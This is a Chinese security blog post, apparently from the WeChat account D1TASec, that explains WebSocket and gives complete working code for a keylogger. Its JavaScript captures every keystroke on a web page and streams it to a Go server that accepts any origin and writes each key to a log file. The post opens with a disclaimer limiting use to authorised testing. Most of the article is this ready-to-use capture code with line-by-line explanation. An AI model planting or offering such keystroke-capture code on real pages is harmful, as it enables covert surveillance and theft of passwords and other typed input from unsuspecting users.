免责声明
来自 D1TASec(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他用途!!!
在当今数字化时代,实时数据交互变得越来越重要。无论是在线游戏、实时聊天应用,还是监控系统,都需要高效且实时的数据传输。WebSocket 技术应运而生,它为客户端和服务器之间提供了一种全双工的通信方式,非常适合高频数据的实时传输。本文将详细介绍如何使用 WebSocket 技术实现一个基于 Go 和 JavaScript 的键盘记录器,让你能够实时捕获并记录用户的键盘操作。
WebSocket 特性详解
优点
-
实时性强:在传统的 HTTP 通信中,客户端和服务器之间的通信是半双工的,即客户端发送请求,服务器响应请求。这种方式在处理实时数据时存在一定的延迟,因为需要等待客户端发送请求才能获取新的数据。而 WebSocket 则不同,它允许服务器和客户端之间进行实时的双向通信。当用户按下键盘上的某个按键时,按键事件会立即通过 WebSocket 连接传输到服务器,无需等待批量发送。这种实时性使得 WebSocket 非常适合需要即时反馈的应用场景,如在线游戏、实时监控等。 -
低延迟:由于 WebSocket 采用了长连接的方式,避免了每次通信都需要建立新连接的开销,因此具有较低的延迟。在高频数据传输的场景下,如键盘记录器,低延迟可以确保按键事件能够及时准确地传输到服务器,不会出现明显的延迟或丢包现象。这对于需要精确记录用户操作的应用来说非常重要。 -
全双工通信:全双工通信意味着服务器和客户端可以同时进行数据传输,而互不干扰。在键盘记录器的应用中,服务器不仅可以实时接收客户端发送的按键数据,还可以主动向客户端推送其他指令,如暂停记录、恢复记录等。这种双向通信的能力为应用的开发提供了更多的灵活性和可能性。
缺点
-
需要维护长连接,服务端资源消耗较高:由于 WebSocket 采用了长连接的方式,服务器需要为每个连接的客户端维护一个持续的连接。这意味着服务器需要消耗更多的系统资源,如内存、CPU 等,来处理这些连接。特别是在高并发的情况下,服务器的资源消耗会显著增加。因此,在使用 WebSocket 时,需要对服务器的性能进行合理的评估和优化。 -
需手动处理 JSON 序列化 / 反序列化:在 WebSocket 通信中,数据通常以 JSON 格式进行传输。因此,在客户端和服务器之间进行数据交换时,需要手动处理 JSON 数据的序列化和反序列化。序列化是将对象转换为 JSON 字符串的过程,反序列化则是将 JSON 字符串转换为对象的过程。虽然大多数编程语言都提供了相关的库来处理 JSON 数据,但手动处理这些过程仍然会增加开发的复杂度和工作量。
实现步骤
HTML + JS 代码实现前端
前端代码的主要功能是监听用户的键盘事件,并将按键数据通过 WebSocket 连接发送到服务器。以下是具体的实现代码:
<!DOCTYPE html><html><body><script>// 连接到 WebSocket 服务 const ws = new WebSocket('ws://localhost:8080/ws'); // 监听键盘事件 document.addEventListener('keydown', (e) => { // 立即发送按键数据(无需缓存) ws.send(JSON.stringify({ key: e.key, code: e.code, timestamp: Date.now() })); }); // 处理连接错误 ws.onerror = (err) => { console.error('WebSocket 错误:', err); }; </script></body></html>
代码解释:
-
const ws = new WebSocket('ws://localhost:8080/ws');
:创建一个 WebSocket 连接,连接到本地服务器的ws://localhost:8080/ws
地址。 -
document.addEventListener('keydown', (e) => { ... });
:监听页面的键盘按下事件,当用户按下键盘上的某个按键时,触发回调函数。 -
ws.send(JSON.stringify({ ... }));
:将按键数据(包括按键名称、按键代码和时间戳)转换为 JSON 字符串,并通过 WebSocket 连接发送到服务器。 -
ws.onerror = (err) => { ... };
:处理 WebSocket 连接错误,当连接出现错误时,将错误信息打印到控制台。
Go + WebSocket 库实现后端接收服务器
后端代码的主要功能是接收客户端发送的按键数据,并将其打印到控制台和记录到日志文件中。以下是具体的实现代码:
package main import ( "encoding/json""log""net/http""os""time""github.com/gorilla/websocket") var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request)bool { returntrue }, // 允许跨域 } type KeyLog struct { Key string`json:"key"` Code string`json:"code"` Timestamp int64`json:"timestamp"`} funcmain() { http.HandleFunc("/ws", handleWebSocket) log.Fatal(http.ListenAndServe(":8080", nil)) } funchandleWebSocket(w http.ResponseWriter, r *http.Request) { conn, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Println("升级到 WebSocket 失败:", err) return } defer conn.Close() // 实时接收消息 for { _, msg, err := conn.ReadMessage() if err != nil { log.Println("读取消息失败:", err) break } var logData KeyLog if err := json.Unmarshal(msg, &logData); err != nil { log.Println("解析 JSON 失败:", err) continue } // 实时打印 log.Printf("[+]Key: %s, Code: %s, Timestamp: %dn", logData.Key, logData.Code, logData.Timestamp) // 写入日志文件 saveToFile(logData) } } funcsaveToFile(logData KeyLog) { logLine := time.Unix(0, logData.Timestamp*int64(time.Millisecond)).Format("2006-01-02 15:04:05") + " Key: " + logData.Key + " Code: " + logData.Code + "n"// 以追加模式打开文件 file, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Printf("打开文件失败: %v", err) return } defer file.Close() if _, err := file.WriteString(logLine); err != nil { log.Printf("写入文件失败: %v", err) } }
代码解释:
-
var upgrader = websocket.Upgrader{ ... };
:创建一个 WebSocket 升级器,用于将 HTTP 连接升级为 WebSocket 连接。 -
type KeyLog struct { ... };
:定义一个结构体KeyLog
,用于存储按键数据。 -
http.HandleFunc("/ws", handleWebSocket);
:注册一个 HTTP 处理函数,当客户端访问/ws
路径时,调用handleWebSocket
函数。 -
conn, err := upgrader.Upgrade(w, r, nil);
:将 HTTP 连接升级为 WebSocket 连接。 -
for { ... }
:进入一个无限循环,实时接收客户端发送的消息。 -
_, msg, err := conn.ReadMessage();
:读取客户端发送的消息。 -
if err := json.Unmarshal(msg, &logData); err != nil { ... }
:将接收到的 JSON 数据反序列化为KeyLog
结构体。 -
log.Printf("[+]Key: %s, Code: %s, Timestamp: %dn", logData.Key, logData.Code, logData.Timestamp);
:将按键数据打印到控制台。 -
saveToFile(logData);
:将按键数据写入日志文件。
运行效果
页面中所有的键盘操作都将被实时打印并记录在文件中。运行上述代码后,打开 HTML 文件,在页面中按下键盘上的任意按键,你将在服务器的控制台看到相应的按键信息,同时这些信息也会被记录到 keystrokes.log
文件中。以下是运行效果的截图:
当前 html 页面没有添加任何界面效果,后续可以用于自行开发
除了 WebSocket 技术,我们还可以使用 gRPC-Web 技术来实现同样功能的键盘记录器。gRPC-Web 结合了 gRPC 的高性能和 Web 技术的灵活性,能够提供更强大的远程过程调用能力。不过,由于 gRPC-Web 需要使用 Protocol Buffers(Protobuf)技术进行数据序列化和反序列化,实现过程相对复杂,涉及到 Protobuf 消息定义、服务接口定义、代码生成等多个步骤。我们会在后续的文章中详细介绍如何使用 gRPC-Web 技术来实现键盘记录器,敬请期待。
总结
通过本文的介绍,我们了解了 WebSocket 技术的特性和优缺点,并使用 Go 和 JavaScript 实现了一个简单的键盘记录器。WebSocket 技术为实时数据交互提供了一种高效、可靠的解决方案,非常适合需要实时响应的应用场景。。
📞 联系我们
如果你在使用过程中遇到任何问题,或者有任何建议和反馈,欢迎通过以下方式联系我们:
欢迎关注
我们终会上岸,无论去到哪里
都是阳光万里,鲜花灿烂
原文始发于微信公众号(D1TASec):深入探究:使用 WebSocket 实现 Go + JS 键盘记录器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论